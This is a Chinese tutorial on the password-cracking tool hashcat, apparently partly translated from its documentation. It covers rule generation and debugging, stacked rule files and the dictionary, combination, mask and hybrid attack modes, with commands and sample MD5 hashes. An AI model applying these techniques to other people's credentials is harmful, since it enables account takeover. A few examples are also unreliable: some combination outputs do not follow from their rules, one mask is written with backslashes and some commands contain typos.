这个数量虽然没有限制但也不推荐设置得过大。当和参数-g一起使用时，超过-g参数指定数目的规则将被忽略。

例如，随机产生的规则可能是：“l r”、“l ^f”和“sa@”，这些都是能够使用的有效的规则。然而，规则“l ^f sa@ r $3”将被忽略，因为它包含了5个函数，而默认情况下，最小值为1，最大值为4。

你可以将随机生成的规则和规则文件中的规则混合。例如，你的规则文件中包含了200条规则，使用参数-g 500，则会生成另外的300条规则。

译者注：这一段是有些莫名其妙的。输入命令：echo p@ssW0rd > word，再输入命令：hashcat –stdout –generate-rules=10 word，看看输出，可能会有所悟。

保存匹配的规则

这一功能和规则生成器结合使用将带来极大的方便，也可用于统计分析你的规则集合。

使用这些参数以保存任意的匹配密码的规则：

    --debug-mode=1 --debug-file=matched.rule

这将保存每个匹配中相匹配的规则，所以结果规则文件中可能包含许多重复规则。

调试规则

使用hashcat我们可以容易地调试规则。这意味着可以验证我们写的规则实际上是不是我们想要的。只需使用参数–stdout同时忽略hashlist就行。

这有个例子：

创建一个简单的字典：

    $ echo WORd > word

生成一个简单的规则，规则“c”将大写第一个字母，小写其余部分。

    $ echo c > rule

接着便是如何查看规则生成器的调试输出了：

    $ ./hashcat-cli64.bin -r rule --stdout word
    Word

这一特性也可用于快速生成候选密码。这意味着如果你有别的支持从标准输入读数据的程序，则可直接将hashcat的输出作为别的程序的输入。

使用“p”（第N个指定的字符）作为位置规则

位置码字符“p”（看看Github上的讨论：点这儿）记录指定字符第N次出现的位置，这使得字符串中的位置也可被用在规则中。当使用“%”(丢弃某文本，除非它中出现了指定字符至少X次)和“/”（丢弃不包含指定字符的文本）时，“p”自动生效。

如果你想操作第一次出现的指定字符，你可以使用%1s或者更简单地使用’/’：

    $ echo -n 'Odessa77' | hashcat --stdout -j '%1s Dp ip$'
    Ode$sa77
    $ echo -n 'Odessa77' | hashcat --stdout -j '/s Dp ip$'
    Ode$sa77

如果你想操作第二次出现的指定字符：

    $ echo -n 'Odessa77' | hashcat --stdout -j '%2s Dp ip$'
Odes$a77

等等等等。不像替换所有指定字符的“s”规则，这允许你选择替换指定字符中的哪几个。

注意，只有在命令行参数“-j”和“-k”中，位置码字符“p”才有效。

在下面的例子中，规则中的“%2s”的意思是丢弃某文本除非它含有两个“s”，“p”的意思是操作第二次出现的字符“s”。

在hashcat-legacy或hashcat中看规则/的示例。

多规则

从oclHashcat-plus v0.07开始，基于规则的攻击中添加了一个新特性。

你可以随心所欲地添加多个-r参数，不再是以前的只能有一个-r参数或一个规则文件。

他们不是顺序执行的！

每个规则文件中的规则都会和另一个规则文件中的规则相组合。这就使得你可以容易地创造自己的攻击模式。

    $ cat 123.rule
    $1
    $2
    $3

    $ cat abc.rule
    $a
    $b
    $c

    $ hashcat --stdout -r 123.rule -r abc.rule wordlist
    hashcat1a
    hashcat2a
    hashcat3a
    hashcat1b
    hashcat2b
    hashcat3b
    hashcat1c
    hashcat2c
    hashcat3c

因为生成规则的总数取决于所有列表，所以若是叠加多个大列表，可用内存将会很快耗光。但是，叠加精心选择的规则将会有很好的效果。

支持

目前支持这种攻击模式的有：

• hashcat
• hashcat-legacy

限制

在hashcat中，单行规则中函数数量和多规则中函数总量的上限均为255。

hashcat有多种攻击模式，用参数–help查看完整帮助，可以看到“Attack Modes”表，如下所示：

1.Straight

这一攻击模式又名“Dictionary Attack”。没啥好说的，就是给定一个字典，hashcat会逐行读取字典中的内容，计算每行的hash值，与目标hash值相比较。

示例：

  hashcat -a 0 -m 400 example400.hash example.dict

2.Combination

百度告诉我，Combination是名词，意为：“结合; 联合体; 密码组合; 连裤内衣”。这一攻击模式其实很简单，就是组合两个密码字典的内容。使用这一攻击模式需要不多不少地指定两个密码字典。假设我们有两个密码字典dict1.txt和dict2.txt，其内容分别为：

  hunting
  kitty
  rainbow

和

  paris
  rock

则命令：

  hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt

实际上尝试的字典是：

  huntingparis
  huntingrock
  kittyparis
  kittyrock
  rainbowparis
  rainbowrock

dict1.txt中的词在左、dict2.txt中的词在右，共3×2=6个。

与这一模式相关的参数有：

  -j, --rule-left
  -k, --rule-right

-j后的规则作用于左边，-k后的规则作用于右边，如添加参数 -j ‘$-‘，则实际尝试的字典便是：

  hunting-paris
  hunting-rock
  kitty-paris
  kitty-rock
  rain-bowparis
  rain-bowrock

添加参数 -j ‘^!’，则实际尝试的字典便是：

  !huntingparis
  !huntingrock
  !kittyparis
  !kittyrock
  !rainbowparis
  !rainbowrock

添加参数 -k ‘^>’，则实际尝试的字典便是：

  hunting>paris
  hunting>rock
  kitty>paris
  kitty>rock
  rain>bowparis
  rain>bowrock

这个规则是什么规则呢？“$”、“^”的用法和正则表达式相似，所以是正则吗？其实不是啦，hashcat的规则是自己实现的，这又是一大块内容了，详情参见Rule-based Attack，或是我翻译的hashcat之基于规则的攻击。

3.Brute-force

尝试给定字符集的各种各样的组合。根据hashcat官方wiki，该方法已经过时，被Mask-Attack全方位取代，故不做研究，

4.Mask Attack

这是一种比较新颖的攻击方式，示例如下：

  hashcat -a 3 -m 0 md5.hash ?l?l?l?l?l

虽然按照“Attack Modes”表，-a 3对应的是Brute-force，但实际上，-a 3使用的就是Mask Attack。Mask Attack可以看做高级的Brute-force。

-m参数用于指定hash函数类型，md5.hash文件中存放着md5值。关键便是最后的字符串“?l?l?l?l?l”了，这样的字符串被称为mask。

一个mask是一个字符串，这个字符串由若干个占位符组成。“?l”便是一个占位符，其中的“?”是关键字，用于修饰其后的“l”，“?l”合起来表示一个字符集合，除“?l”外，还可以有“?u”、“?d”、“?h”、“?H”、“?s”、“?a”和“?b”，代表的字符集合如下表所示。

这样，我们便明白了，“?l?l?l?l?l”其实等价于密码字典：

aaaaa
aaaab
...
zzzzz

同理，“?l?u?d”便等价于密码字典：

  aA0
  aA1
  ...
  bA0
  ...
  zZ9

上表中的字符集合是hashcat内置的，我们也可以自己指定字符集合：

  --custom-charset1=字符集合1
  --custom-charset2=字符集合2
  --custom-charset3=字符集合3
  --custom-charset4=字符集合4

参数 –custom-charsetN 可以缩写为 -N,如 –custom-charset1 可以缩写为 -1。用 -N 指定的字符集合在mask中以占位符“?N”的形式指定，如：

  -1 abc123 ?1?1?1

便等价于密码字典：

  aaa
  aab
  ...
  aa3
  ...
  333

-N 后除了接表示字符集合的字符串外，还可以是一个以.hcchr结尾的文件，文件中存储着字符集合。hashcat自带了许多.hcchr文件，在安装包的charsets/目录中。

占位符“??”代表的字符集合是“?”本身。除此之外，其余的字符作为占位符时，代表的都是字符本身，如“?lwerner?d”等价于密码字典：

  awerner0
  awerner1
  ...
  zwerner9

有了以上知识，便很容易理解mask了。一个mask由若干个占位符组成，每个占位符是一个字符集合，一个mask便是各个占位符字符集合的组合。占位符的个数和密码的长度相等。这样的设计，比起单纯得给定字符集合和密码长度来，有何好处呢？

假设我们已知某人的密码共7位，第一位是大写字母，接下来3位是小写字母，最后3位是数字。若是传统的暴力破解，需要字符集a-z、A-Z和0-9，共62个字符，最多需要尝试62^7=3 521 614 606 208次，是万亿级别的。而用mask描述这个密码，则是“\u\l\l\l\d\d\d”，容易计算，共有(26^4)×(10^3)=456 976 000种可能，是亿级别的，比前一种方法减少了4个数量级。

退一步讲，就算我们不知道密码的分布，用mask也很容易模拟出传统暴力破解的效果来。

现在的问题便是mask是固定的，其中有多少个占位符是写死的，若是我们不知道密码的长度，该怎么办。密码太长也就罢了，若是人家的密码只有3位，我们的占位符有4个，怎么都解不出，岂不是很亏。难道要从1开始，将各个长度的mask都写一遍？那多麻烦啊。

有两种解决方法，一是使用mask文件，在一个文件中写多个mask，然后在命令行中指明这个文件就行。注意，mask文件需以.hcmask结尾。

如test.hcmask的内容为：

  ?l
  ?l?l
  ?l?l?l
  ?l?l?l?l

则用如下命令使用该文件：

  hashcat -m 0 -a 3 --show md5.hash test.hcmask

另一种解决方法是添加参数 –increment，这参数告诉hashcat，按我们给出的mask，从一个占位符开始尝试，再尝试两个的，三个的，直到我们给定的长度。如我们写这一的占位符“abc”，然后计算下列字符串的md5值：

  a:0cc175b9c0f1b6a831c399e269772661
  b:92eb5ffee6ae2fec3ad71c777531578f
  c:4a8a08f09d37b73795649038408b5f33
  ab:187ef4436122d1cc2f40dc2b92f0eba0
  ac:e2075474294983e013ee4dd2201c7a73
  ba:07159c47ee1b19ae4fb9c40d480856c4
  bc:5360af35bde9ebd8f01f492dc059593c
  ca:5435c69ed3bcc5b2e4d580e393e373d3
  cb:d0d7fdb6977b26929fb68c6083c0b439
  abc:900150983cd24fb0d6963f7d28e17f72
  abc:900150983cd24fb0d6963f7d28e17f72
  bac:79ec16df80b57696a03bb364410061f3
  bca:b64eab8ce39e013604e243089c687e4f
  cba:3944b025c9ca7eec3154b44666ae04a0
  cab:16ecfd64586ec6c1ab212762c2c38a90

“:”前是要计算hash值的原字符串，“:”后是计算出的hasn值。将上述内容保存在文件md5.hash中，然后运行如下命令：

  hashcat -m 0 -a 3 --show --username md5.hash abc

加参数 –username 是由于我们的每个hash值前都有原字符串，若不加此参数，hashcat会显示没有找到正确的hash值，加此参数，hashcat便会以为hash值前的字符串是该hash值对于的用户名，从而能顺利载入hash值。

运行结果是只解出了一条hash:

  900150983cd24fb0d6963f7d28e17f72:abc

现在加上参数 –increment，再次运行：

  hashcat -m 0 -a 3 --show --increment --username md5.hash abc

这次，又解出了两条hash:

  0cc175b9c0f1b6a831c399e269772661:a
  187ef4436122d1cc2f40dc2b92f0eba0:ab

可见，–increment 发挥了作用。但同时，我们也知道了，有此参数，hashcat只会按顺序地尝试a、ab和abc，并不会乱序地对占位符排列组合，尝试各种可能。

5.Hybrid Attack

Hybrid Attack是和Combinator Attack是差不多的，Combinator Attack是将两个字典进行组合，而Hybrid Attack是将一个字典和一个mask进行杂交，两者是差不多的。

假设我们已经有了一个字典example.dict，内容如下：

  hello
  werner

则命令：

  hashcat -m 0 -a 6 md5.hash example.dict ?d?d

等价于单纯地使用字典：

  hello00
  hello01
  ...
  hello99
  werner00
  werner01
  ...
  werener99

则命令：

  hashcat -m 0 -a 7 md5.hash ?d? dexample.dict

等价于单纯地使用字典：

  00hello
  01hello
  ...
  99hello
  00werner
  01werner
  ...
  99werener